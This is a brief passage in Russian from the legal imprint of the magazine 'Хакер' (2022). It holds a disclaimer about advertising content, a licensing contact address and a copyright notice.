не несет ответственности за содержание рекламных объявлений в номере. По вопросам лицензирования и получения прав на использование
редакционных материалов журнала обращайтесь по адресу: xakep@glc.ru. © Журнал «Хакер», РФ, 2022